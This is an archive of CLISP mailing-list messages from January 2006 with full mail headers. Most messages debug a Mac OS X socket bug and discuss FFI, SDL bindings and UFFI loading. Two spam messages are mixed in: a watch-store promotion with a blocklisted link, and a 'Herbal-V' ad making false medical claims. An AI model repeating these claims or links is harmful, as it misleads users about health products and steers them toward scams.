0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 URIBL_SBL Contains an URL listed in the SBL blocklist [URIs: primesuperdeals.com] Subject: [clisp-list] Here is a right item which accurately shows the judgement of its owner. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 17 21:06:14 2006 X-Original-Date: Mon, 16 Jan 2006 21:59:44 -1000 It's this excellent e-store that has luxury look timekeepers and since you're my pal, I had to tell you first. I can just envision the look of surprise on your face when you pick up your shipment. Good lord, I think I may have hunted down the ideal gift for my pop! I know that you're always worried about money and have not scored anything for yourself, but these lovely pieces are budget-friendly. http://pti.nhwR.primesuperdeals.com/jta/ I already browsed through the store's web site and it's very trustworthy- you can even check your order online! You seriously deserve one of these nice items because you don't ever indulge yourself! his clothes wedding and accouterments being in their guide possession--why more civilized peoples than these poor volume Tarzan of the Apes pill needed no second invitation. He took the girl he loved in his strong arms, actress and kissed her not once, Meet you at our usual place, Sree From dgou@mac.com Tue Jan 17 22:24:46 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ez6kN-0007cT-Nr for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 22:24:43 -0800 Received: from smtpout.mac.com ([17.250.248.73]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ez6kM-0003P1-DZ for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 22:24:43 -0800 Received: from mac.com (smtpin03-en2 [10.13.10.148]) by smtpout.mac.com (Xserve/8.12.11/smtpout16/MantshX 4.0) with ESMTP id k0I6Of3H013952 for ; Tue, 17 Jan 2006 22:24:41 -0800 (PST) Received: from [192.168.1.101] (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/smtpin03/MantshX 4.0) with ESMTP id k0I6OcPE016329 for ; Tue, 17 Jan 2006 22:24:40 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: References: <9561874.1137508687768.JavaMail.dgou@mac.com> <16199003.1137510325292.JavaMail.dgou@mac.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <8C9AE3F0-E1E1-4878-AD58-0DC283DC5EED@mac.com> Content-Transfer-Encoding: 7bit From: Douglas Philips To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: mac os x socket problems and 2.38 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 17 22:25:04 2006 X-Original-Date: Wed, 18 Jan 2006 01:24:33 -0500 On 2006 Jan 17, at 10:55 AM, Sam Steingold wrote: >> * Doug Philips [2006-01-17 10:05:25 -0500]: >> Assuming everything goes as planned, I should be able to grab a 2.36 >> tree tonight. We have four scenarios to test: 2.36 fill 0, 2.36 fill >> 0xFF, 2.37 fill 0, 2.37 fill 0xFF. > > Thanks. Results so far: "out of the box" 2.36 passes its socket tests. Adding FILL0 (and calls to it) in 2.36 makes for no change, the tests all pass either way. Changing FILL0 to fill with 0xFF causes no change in the 2.36 socket tests. Changing FILL0 to fill with 0xFF causes 30 errors in the 2.37 test. Running the 2.37 socket test under 2.36 (0 and FF) causes a segmentation fault: (PROGN (SETQ *SERVER* (SOCKET-SERVER 9090) *SOCKET-1* (SOCKET-CONNECT 9090 "localhost" :TIMEOUT 0 :BUFFERED NIL) *SOCKET-2* (SOCKET-ACCEPT *SERVER* :BUFFERED NIL)) (WRITE-CHAR #\a *SOCKET-1*)) EQL-OK: #\a (LISTP (SHOW (LIST (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCKET-1*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-1*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCKET-2*)) (MULTIPLE- VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-2*))) :PRETTY T)) make: *** [socket2.erg] Segmentation fault make: *** Deleting file `socket2.erg' When I get over my head cold, I'll investigate further. diff on the 2.36 and 2.37 socket test was annoyingly filled with uninteresting changes, but I haven't looked more deeply. --Doug From sds@gnu.org Wed Jan 18 06:26:12 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EzEG5-0004mm-HD for clisp-list@lists.sourceforge.net; Wed, 18 Jan 2006 06:25:57 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EzEG4-0005Cv-05 for clisp-list@lists.sourceforge.net; Wed, 18 Jan 2006 06:25:57 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0IEPObP025850; Wed, 18 Jan 2006 09:25:24 -0500 (EST) To: clisp-list@lists.sourceforge.net, Douglas Philips Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <8C9AE3F0-E1E1-4878-AD58-0DC283DC5EED@mac.com> (Douglas Philips's message of "Wed, 18 Jan 2006 01:24:33 -0500") References: <9561874.1137508687768.JavaMail.dgou@mac.com> <16199003.1137510325292.JavaMail.dgou@mac.com> <8C9AE3F0-E1E1-4878-AD58-0DC283DC5EED@mac.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Douglas Philips Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: mac os x socket problems and 2.38 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 18 06:27:03 2006 X-Original-Date: Wed, 18 Jan 2006 09:24:39 -0500 > * Douglas Philips [2006-01-18 01:24:33 -0500]: > > On 2006 Jan 17, at 10:55 AM, Sam Steingold wrote: >>> * Doug Philips [2006-01-17 10:05:25 -0500]: >>> Assuming everything goes as planned, I should be able to grab a 2.36 >>> tree tonight. We have four scenarios to test: 2.36 fill 0, 2.36 fill >>> 0xFF, 2.37 fill 0, 2.37 fill 0xFF. >> >> Thanks. > > Results so far: > "out of the box" 2.36 passes its socket tests. > Adding FILL0 (and calls to it) in 2.36 makes for no change, the > tests all pass either way. > Changing FILL0 to fill with 0xFF causes no change in the 2.36 > socket tests. So it looks like that problem is not that FILL0 is required on mac os x, but that something is wrong in CLISP. right? now you need to run CLISP 2.36 and 2.37 under gdb and find the bind call that fails on 2.37 but succeeds on 2.36 and compare the arguments. just type (socket-server 3456) in 2.36 and 2.37 and see what happens. > Changing FILL0 to fill with 0xFF causes 30 errors in the 2.37 test. as I said, the bug was introduced on 2005-12-19, it would make more sense to compare the pre-2005-12-19 snapshot with a post-2005-12-19 one rather than 2.36 with 2.37 > Running the 2.37 socket test under 2.36 (0 and FF) causes a > segmentation fault: > (PROGN (SETQ *SERVER* (SOCKET-SERVER 9090) *SOCKET-1* (SOCKET-CONNECT > 9090 "localhost" :TIMEOUT 0 :BUFFERED NIL) *SOCKET-2* (SOCKET-ACCEPT > *SERVER* :BUFFERED NIL)) (WRITE-CHAR #\a *SOCKET-1*)) > EQL-OK: #\a > (LISTP (SHOW (LIST (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL > *SOCKET-1*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-1*)) > (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCKET-2*)) (MULTIPLE- > VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-2*))) :PRETTY T)) > make: *** [socket2.erg] Segmentation fault > make: *** Deleting file `socket2.erg' this bug was fixed on 2005-12-15 -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://truepeace.org http://www.memri.org http://www.palestinefacts.org http://www.openvotingconsortium.org The difference between genius and stupidity is that genius has its limits. From sds@gnu.org Wed Jan 18 08:28:04 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EzGAD-0003sF-2C for clisp-list@lists.sourceforge.net; Wed, 18 Jan 2006 08:28:01 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EzGAB-0006gH-6a for clisp-list@lists.sourceforge.net; Wed, 18 Jan 2006 08:28:01 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0IGRSXE029731; Wed, 18 Jan 2006 11:27:28 -0500 (EST) To: clisp-list@lists.sourceforge.net Cc: Douglas Philips Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Sam Steingold's message of "Wed, 18 Jan 2006 09:24:39 -0500") References: <9561874.1137508687768.JavaMail.dgou@mac.com> <16199003.1137510325292.JavaMail.dgou@mac.com> <8C9AE3F0-E1E1-4878-AD58-0DC283DC5EED@mac.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Douglas Philips Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: mac os x socket problems and 2.38 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 18 08:29:01 2006 X-Original-Date: Wed, 18 Jan 2006 11:26:37 -0500 > * Sam Steingold [2006-01-18 09:24:39 -0500]: > > now you need to run CLISP 2.36 and 2.37 under gdb and find the bind call > that fails on 2.37 but succeeds on 2.36 and compare the arguments. to put it simply: on SF CF openpower-linux1 (ppc64): $ strace ./clisp -norc -q -x '(socket-server-close (socket-server))' 2>&1 1>/dev/null | tail -20 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 6 setsockopt(6, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 bind(6, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("127.0.0.1")}, 16) = 0 listen(6, 1) = 0 getsockname(6, {sa_family=AF_INET, sin_port=htons(39632), sin_addr=inet_addr("127.0.0.1")}, [16]) = 0 close(6) = 0 just do this same thing with 2.37 and 2.36 on macosx with and without FILL0 and FILLxFF. I cannot believe this is taking so long. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.iris.org.il http://www.openvotingconsortium.org http://pmw.org.il http://truepeace.org http://www.palestinefacts.org Politically Correct Chess: Translucent VS. Transparent. From dgou@mac.com Wed Jan 18 08:59:10 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EzGeK-0005oK-Rp for clisp-list@lists.sourceforge.net; Wed, 18 Jan 2006 08:59:08 -0800 Received: from smtpout.mac.com ([17.250.248.44]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EzGeJ-0007h1-Th for clisp-list@lists.sourceforge.net; Wed, 18 Jan 2006 08:59:09 -0800 Received: from mac.com (webmail16-en1 [10.13.10.142]) by smtpout.mac.com (Xserve/8.12.11/smtpout12/MantshX 4.0) with ESMTP id k0IGwbX8005972 for ; Wed, 18 Jan 2006 08:58:37 -0800 (PST) Received: from webmail16 (localhost [127.0.0.1]) by mac.com (Xserve/webmail16/MantshX 4.0) with ESMTP id k0IGwbTk010515 for ; Wed, 18 Jan 2006 08:58:37 -0800 (PST) Message-ID: <7023659.1137603517731.JavaMail.dgou@mac.com> From: Doug Philips To: clisp-list@lists.sourceforge.net in-reply-to: <4412077.1137603402007.JavaMail.ccoldiron@mac.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit references: <4412077.1137603402007.JavaMail.ccoldiron@mac.com> X-Originating-IP: 64.105.109.86/instID=237 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: mac os x socket problems and 2.38 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 18 09:00:02 2006 X-Original-Date: Wed, 18 Jan 2006 11:58:37 -0500 >I cannot believe this is taking so long. Hey, I'm going as fast as I can, between a job, life, being sick, give me a frickin' break. Might as well rant that the SF compute farm Mac OS X stuff being still down is taking so long. If you're beside yourself to get 2.38 out, put the fricking IFDEF in for DARWIN and get it over it, it'll only affect Mac OS X users (who are too slow anyways). --Doug From Joerg-Cyril.Hoehle@t-systems.com Wed Jan 18 10:46:53 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EzIKa-0002yw-VQ for clisp-list@lists.sourceforge.net; Wed, 18 Jan 2006 10:46:52 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EzIKa-0004mw-G3 for clisp-list@lists.sourceforge.net; Wed, 18 Jan 2006 10:46:53 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 18 Jan 2006 19:45:52 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 18 Jan 2006 19:45:52 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0307F438D1@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: jeremy@decompiler.org Cc: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: [comp.lang.lisp] Clisp, FFI and SDL - trying to pass in a uni on t o be filled Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 18 10:47:06 2006 X-Original-Date: Wed, 18 Jan 2006 19:45:43 +0100 Jeremy Smith wrote: >Thanks for your tip, it was very helpful.=20 >Please reply to jeremy@decompiler.org if possible >I've made some progress with SDL in Clisp. Great news! >(defmacro getbyte(where offset) > `(ffi:memory-as ,where (ffi:parse-c-type 'ffi:uint8),offset)) Good >(defmacro getuint16(where offset) > `(+ (getbyte ,where (+ ,offset 0)) (*(getbyte ,where (+ ,offset = 1))256))) Ouch. Please adapt getuint16 using ffi:uint16 instead. This will also = avoid the above code depending on little-endianness. It will also avoid double evaluation of where and offset in getuint16, = since you choose to write that as a macro. Hint: stick to functions, get code to work, then investigate macros for = optimization purposes (hint2: compiler macros are better for this = particular purpose). >By the way, you asked why I didn't use CL-SDL. I tried to, but it >required UFFI, which I couldn't get working with Clisp.=20 I wrote an UFFI emulation layer for CLISP some time ago. http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D1028683&gro= up_id=3D1355&atid=3D301355 Your writing raised my attention to the fact that I had not updated the = uffi.lisp file found there to reflect my current version. So I updated = it yesterday. I believe the uffi.lisp online there now is the one with which I = managed to compile sl-sdl with CLISP, but I didn't check that = yesterday. I had a HD crash short after I did that cl-sdl adaptation = half a year ago, so possibly my latest changes got lost. However, I remember that there was a need for a few patches to cl-sdl = in areas where it wrongly uses or misses quoting UFFI type names. The = HD crash lost my diffs, but they aren't that hard to reproduce: my code = will raise errors. I think that Lispers should try to get existing packages to work = instead of reinventing them, so I encourage you to use cl-sdl (or one = of the other SDL bindings). However, the learning experience is = probably larger with the do-it-yourself approach. :-) I'm very pleased to observe current activities in the quality assurance = (QA) area, where Lispers test & fix & report experience about the many = Lisp packages that lay around here and there. >(setf event (ffi:allocate-shallow 'ffi:Uint8 :count 1024)) >(print (test:SDL_WaitEvent event)) I know that this is the advice you got in comp.lang.lisp for Corman. I = think you can do nicer than that with CLISP (and probably Corman as = well). (def-call-out sdl-wait (:arguments c-pointer)) (with-c-var (event '(c-union (sdl...))) ; the SDL-event union (let ((got-some (sdl-wait (c-var-address event)))) (when got-some (case (slot event 'type) (#.sdl-keypress-number Do you get the idea? You could even optimize like this: (#.sdl-keypress-number (with-c-place (keypress-event (c-var-object (slot event 'keypress))) (print (slot keypress-event 'code)) instead of (print (slot (slot event 'keypress) 'code)) If you have only one such print, it does't matter, but if you access = several slots of one event type, this constant folding operation of = (slot event 'X) may make sense. >The only entry that I can view via slot-value is strangely enough, = 'format': >(slot-value screen 'clip_rect) >*** - SLOT-VALUE: The class # has no = slot named CLIP_RECT Please send more code so I can try to reproduce this, instead of just = guessing (yet if I guess right, I prefer you investigate this instead = of me :) o Perhaps you should stick to interpreted code for now, containing the = FFI definitions. o perhaps there's a package issue? (FORMAT is likely taken from the = "COMMON-LISP" package all others share, clip_rect or pixels are not). Hope this helps, J=F6rg H=F6hle. From vivan_ratchellu@yahoo.com Wed Jan 18 22:38:05 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EzTQr-0001ch-0W for clisp-list@lists.sourceforge.net; Wed, 18 Jan 2006 22:38:05 -0800 Received: from [220.79.205.240] (helo=yahoo.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EzTQo-0002IY-3E for clisp-list@lists.sourceforge.net; Wed, 18 Jan 2006 22:38:05 -0800 Received: from unknown (95.50.188.188) by mxs.perenter.com with ASMTP; Thu, 19 Jan 2006 13:29:47 +0600 Message-ID: From: "MT Ultimate Healthca" To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1123 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 NO_RDNS_DOTCOM_HELO Host HELO'd as a big ISP, but had no rDNS 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.0 DRUGS_ERECTILE Refers to an erectile drug Subject: [clisp-list] Herbal-V V1gra With0ut Side Effects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 18 22:39:01 2006 X-Original-Date: Thu, 19 Jan 2006 13:01:55 +0600 Hi clisp-list, Herbal-V (Herba! V!.gra) is a natural cure for imp0tence. Unlike Vigra or Cialis, Herbal-V has no side effects and has a 99% success rate. Herbal-V gives you a Rock Solid Erection and helps to obtain & maintain erection, Herbal-V Intensifying Sex Giving You Incredibly Powerful Long Lasting Orgasms! Herbal-V incre,ases 6ual pleasure by increasing the size and hardness. It experience more powerful orgasms, strength, stamina, endurance, amplified sensations and RETURN POWER! Features: * Herbal-V Is A Herbal Erectile Disfunctional Drug * Herbal-V Allow Blood Flow Into PENILE Tissues * Herbal-V Achive Rock Solid Erections * Herbal-V Relaxes the Cavernosal Muscles In Penis * No Side Effects * Incr,ease 6ex Drive * Boost Sexual Performance * Fuller & Harder Erections * Inc-rease Stam;na & Endurance * Quicker Recharges * Works in less than 15 minutes * Herbal-V VERY AFORDABLE--1/10 OF VI.GRA Get Same powerful results as Vi,gra without any harmful side effects! http://ca.geocities.com/claudette18476ansell18003/ Try it now without any risk From Joerg-Cyril.Hoehle@t-systems.com Thu Jan 19 02:22:14 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EzWvm-0002yD-Am for clisp-list@lists.sourceforge.net; Thu, 19 Jan 2006 02:22:14 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EzWvk-0005Yb-Or for clisp-list@lists.sourceforge.net; Thu, 19 Jan 2006 02:22:14 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Thu, 19 Jan 2006 11:22:04 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 19 Jan 2006 11:22:04 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0307F43C01@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: jeremyalansmith@gmail.com, clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] using Joerg Hoehle's UFFI-CLISP wrapper macros Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 19 02:23:17 2006 X-Original-Date: Thu, 19 Jan 2006 11:22:03 +0100 Jeremy Smith wrote: >I downloaded your uffi.lisp file, but I don't know what to do with it! First you must download and load cvs-ffi-patches.lisp from the same = location, then you load uffi.lisp. http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D1028683&gro= up_id=3D1355&atid=3D301355 Actually, with ASDF, you first need to write a tiny uffi.asd file which = contains a (asdf:defsystem :uffi ...) which causes these two files to be loaded = and compiled. See other .asd files for the syntax. Actually, here's mine: (in-package #:asdf) (defsystem :uffi :name "uffi" ;;:pathname "";;#+win32"..\\" #-win32 "../" :depends-on () :components ((:file "uffi"))) Note that I always load cvs-ffi-patches by hand before doing so! (I don't want ASDF to compile that, but I should rather add some = (eval-when (not compile)) aroud the def-call-out therein). You MUST load cvs-ffi-patches.lisp before loading my uffi.lisp Unless you know how to correct the package/symbol errors which happen = if you load in the wrong order. Happy experimenting! Regards, J=F6rg H=F6hle. From Liz.Deasy@bfmws.ie Fri Jan 20 06:00:00 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ezwo3-0003Ed-Rh for clisp-list@lists.sourceforge.net; Fri, 20 Jan 2006 05:59:59 -0800 Received: from mail03.svc.cra.dublin.eircom.net ([159.134.118.19]) by mail.sourceforge.net with smtp (Exim 4.44) id 1Ezwo2-0000do-Gs for clisp-list@lists.sourceforge.net; Fri, 20 Jan 2006 06:00:00 -0800 Received: (qmail 51887 messnum 277080 invoked from network[82.141.225.58/unknown]); 20 Jan 2006 13:59:49 -0000 Received: from unknown (HELO bfsctl01.BarryFitzwilliamLtd.local) (82.141.225.58) by mail03.svc.cra.dublin.eircom.net (qp 51887) with SMTP; 20 Jan 2006 13:59:49 -0000 Received: from Unknown [192.168.1.250] by bfsctl01.BarryFitzwilliamLtd.local - SurfControl E-mail Filter (4.7); Fri, 20 Jan 2006 13:59:47 +0000 Message-ID: <013826764731F543BAC4FBB19E8FD59D0E8701@bfsbssrv1.barryfitzwilliamltd.local> From: "Liz " To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-SEF-CCB045F2-FC54-49E6-AD3F-A03AD4A4A0DD: 1 content-class: urn:content-classes:message Thread-Topic: 'success story' Thread-Index: AcYdycQ35i2uzTR6S/qN9GmMiPQlVA== X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] 'success story' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 20 06:01:15 2006 X-Original-Date: Fri, 20 Jan 2006 13:59:45 -0000 Regards Liz Deasy Barry Fitzwilliam Maxxium Ballycurreen Industrial Estate, Airport Road, Cork. Phone +353 (0)21 4320900 Fax +353 (0)21 4320910 From astebakov@yahoo.com Fri Jan 20 11:46:03 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F02Cx-0002Oh-Hc for clisp-list@lists.sourceforge.net; Fri, 20 Jan 2006 11:46:03 -0800 Received: from web36514.mail.mud.yahoo.com ([209.191.85.14]) by mail.sourceforge.net with smtp (Exim 4.44) id 1F02Cw-0005iU-9w for clisp-list@lists.sourceforge.net; Fri, 20 Jan 2006 11:46:03 -0800 Received: (qmail 86639 invoked by uid 60001); 20 Jan 2006 19:45:54 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=5Y4s4NMcAiy1SiLegkgwX40lR+msW2xlUrGOELDhrTfwShNfSS1TtBcHNn60LXgXd5wn68p3U1+P+3o9BMD1NowhBHp6gg51gHiib3YiICaMfh2Vq4KjtRACbeBEW0uiqYWedAKiZ+CJl694w/pHJ4z862WlAvo9I7s6zFZkjOM= ; Message-ID: <20060120194554.86637.qmail@web36514.mail.mud.yahoo.com> Received: from [209.50.91.70] by web36514.mail.mud.yahoo.com via HTTP; Fri, 20 Jan 2006 11:45:54 PST From: Andrew Stebakov To: clisp-list@lists.sourceforge.net In-Reply-To: <8xtlp0iv.fsf@netscape.net> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] clisp 2.35 crash on windows (under slime) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 20 11:47:00 2006 X-Original-Date: Fri, 20 Jan 2006 